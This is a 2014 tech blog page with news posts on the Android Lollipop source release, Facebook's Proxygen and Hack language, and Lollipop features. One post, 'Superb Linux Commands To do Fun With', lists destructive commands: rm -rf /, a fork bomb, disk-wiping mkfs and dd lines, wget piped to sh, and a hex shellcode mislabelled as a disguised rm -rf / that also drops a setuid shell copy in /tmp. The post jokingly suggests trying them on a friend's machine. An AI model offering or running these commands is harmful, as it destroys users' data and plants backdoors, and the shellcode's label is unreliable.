Friday, 7 November 2014

Google Unveils Android Lollipop Source Code

No comments:

Android 5 Source -Code Revealed

Google has now officially completed the launch of the latest Android version by releasing the source code in Android Open Source Project (ASOP). The IT giant has unveiled all Android 5.0 code at its official Git webpage, (Check here), and source codes are now absolute ready for the manufacturers and custom ROM developers. 

 Android 5.0, Android 5.0 source code, Android 5.0 Lollipop, Google, Google Android 5.0 Lollipop release, Android, Android version release 
Google has made the Android 5.0 code available as a part of android/platform build/lollipop-release branch with the build number of “LRX21M”. It has also added the device repositories for the new Nexus devices including Nexus Player, Nexus 6 and Nexus 9. 

Along with that, the Android team has also shared a new documentation for Lollipop release, which would assist the developers about how to go with it. The Android Building Google Group post regarding the same can be viewed here.

Source:Efytimes
Read More

Superb Linux Commands To do Fun With.

No comments:

Dangerous Linux Commands To Play :)





Don't ever Run These Commands on Your Linux Desktop......
Ahh  well you can Try on Your Friends Linux Destro :)

1. rm -rf /


Deletes everything including files on your hard drive and files on connected removable media devices.

rm – Remove the following files.

-rf – Run rm recursively and force-remove all files without prompting you.

/ – Tells rm to start at the root directory, which contains all the files on your computer and all mounted media devices, 

including remote file shares and removable drives.

2. Disguised rm –rf /


Actually, the hex version of rm –rf / – wipes out your files just as if you had run rm –rf /.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

3. :(){ :|: & };:


This bash command is actually a denial-of-service attack. It defines a shell function that creates new copies of itself that 

continually replicates itself quickly taking up all your CPU time and memory causing your computer to freeze.

4. mkfs.ext4 /dev/sda1


Equivalent to running format c: on Windows.

mkfs.ext4 – Create a new ext4 file system on the following device.

/dev/sda1 – Specifies the first partition on the first hard drive, which is probably in use.

5. command > /dev/sda


Writes the data directly to the hard disk drive and damaging your file system.

command – Run a command (can be any command.)

> – Send the output of the command to the following location.

/dev/sda – Write the output of the command directly to the hard disk device.

6. wget http://example.com/something -O – | sh


Downloads and runs a script.

wget – Downloads a file. (You may also see curl in place of wget.)

http://example.com/something – Download the file from this location.

| – Pipe (send) the output of the wget command (the file you downloaded) directly to another command.

sh – Send the file to the sh command, which executes it if it’s a bash script.

7. mv ~ /dev/null


Moves your home directory to a black hole.

mv – Move the following file or directory to another location.

~ – Represents your entire home folder.

/dev/null – Move your home folder to /dev/null, destroying all your files and deleting the original copies.

8. dd if=/dev/random of=/dev/sda


dd – Perform low-level copying from one location to another.

if=/dev/random – Use /dev/random (random data) as the input – you may also see locations such as /dev/zero (zeros).

of=/dev/sda – Output to the first hard disk, replacing its file system with random garbage data.

Courtesy: How -to -geek 

Read More

Thursday, 6 November 2014

Facebook Open Sources Its Proxygen HTTP Framework And Server

No comments:

Facebook Open Sources Its Proxygen HTTP Framework And Server








Looks like Facebook is still continuing Open-Sourcing some of its internal Usage Codes lets get an deeper image of it.

The earlier day Facebook that it is Open Sourcing its Proxygen & HTTP framework And Server.As earlier it has already Open sourced many of its Current using Technologies and now Open Sourcing these which gives an keen interest for Web-Application & Mobile Developers.
Well Speaking of Proxygen its:
A collection of C++ HTTP libraries including an easy to use HTTP server.
You Can get the Source code of Proxygen from here
Read More

Friday, 31 October 2014

Facebook Introduces New Programming Language Hack

No comments:

New Programming Named Hack


According to sources Facebook has released a new programming language named "Hack".

According to Facebook Hack is:
"Hack is a programming language for HHVM that interoperates seamlessly with PHP. Hack reconciles the fast development cycle of PHP with the discipline provided by static typing, while adding many features commonly found in other modern programming languages.
Hack provides instantaneous type checking via a local server that watches the filesystem. It typically runs in less than 200 milliseconds, making it easy to integrate into your development workflow without introducing a noticeable delay.
The following are some of the important language features of Hack. For more information, see the full documentation, or follow through the quick interactive tutorial."


Read More

Saturday, 25 October 2014

Android Lollipop 7 Concepts & Things

No comments:

7 Things about Android Lollipop


After offering chocolate (Kit-Kat), now Google is ready to serve you Lollipops. Google on Wednesday finally revealed the official name of its next version Android L — Android 5.0 Lollipop.

The newly released Android 5.0 Lollipop ships with the latest Motorola-made Nexus 6 smartphone and Nexus 9 tablet built by HTC, but the company did not make the Lollipop available for download to other users immediately. The older versions of Nexus devices will receive the Lollipop update in the coming weeks.

Lollipop features some significant changes to the Android platform with a sleek new user interface, cross platform support and improved performance via the new ART runtime engine. The operating system also offers better battery life, improved notifications, OpenGL ES 3.1 and 64-bit support, among other features.

Here are some most notable features of Android 5.0 Lollipop, along with some insight as to when you might be able to get your hands on it.

Google describes Lollipop as "the largest Android release yet," with more than 5,000 new APIs. So from the developer’s perspective, there is a lot for developers to explore. Technically, the release brings Android up toAPI level 21.

1) Security Improvements:

With Lollipop, Security gets enhanced as well, since it comes with encryption turned on by default in order to protect users’ data from being accessed on lost or stolen devices.

Most importantly, now you are free to share your devices with any of your friends, as Lollipop offers you guest user mode, where you can create multiple user accounts to enable your friends to log in on your device. Therefore, in both the cases, no one will be able to access your private files.

2)Material Design

Lollipop features a redesigned User Interface, which is referred to as Material Design, in which Google made extensive use of animations and layered elements to deliver what it promises.

The material design interface runs on multiple types of devices, including everything from your smartphone and tablet to your laptop and TV. The new interface supports elevation values, real-time shadows and lighting that gives a 3D appearance overall.

3)Notification Inhancement

Notifications also get enhanced with the new OS, as of now you’ll be able to rank them based on your priorities. You can now view and respond to messages directly from your lock screen, and also could hide notifications for sensitive contents by turning on Priority mode through your device’s volume button.

You can also choose to avoid calls from interrupting the game you are playing or the movie you are watching. You can also see a more complete list of features here; scroll down to the bottom and click the “See All Features” link.

4)Kill-Switch Improvement

Among lots of other features of Lollipop, Google is supporting a “kill-switch” to make stolen phones unusable through what it is calling “Factory Reset Protection.

Essentially, it requires a password before a phone can be reset, ideally preventing thieves and intruders from making use of stolen phones.

5)ANDROID SMART LOCK

For an extra layer of security, there is an Android Smart Lock, which makes it easier to unlock your phone without having to constantly enter a pin or trace a pattern. Android smart lock secures your phone or tablet by pairing it with a trusted device like your Android smartwatch, car, or even facial expressions.

For example, your Android Lollipop device will recognize your Smart watch and let you unlock your phone by simply tapping the power button. The company has also enforced the SELinux security module for all apps to give better protection against vulnerabilities and malware.

6) Run time Boost Performance

Users will experience a faster, smoother and more powerful computing with Lollipop. ART, an entirely new Android runtime, improves application performance and responsiveness as well. The new Android is ready for the 64-bit era, as it comes fully prepared to support a full 64-bit environment.
  • Supports 64 bit devices that brings desktop class CPUs to Android
  • Support for 64-bit SoCs using ARM, x86, and MIPS-based cores
  • Shipping 64-bit native apps like Chrome, Gmail, Calendar, Google Play Music, and more
  • Pure Java language apps run as 64-bit apps automatically.

7)Longer Battery Life

Last but not least, Android Lollipop is expected to bring some serious battery improvements to your mobile devices via Google’s Project Volta. The software will benefit you from a Power Saving mode that detects when your handset’s battery life is low, the app can automatically reduce CPU load and display brightness.

Read More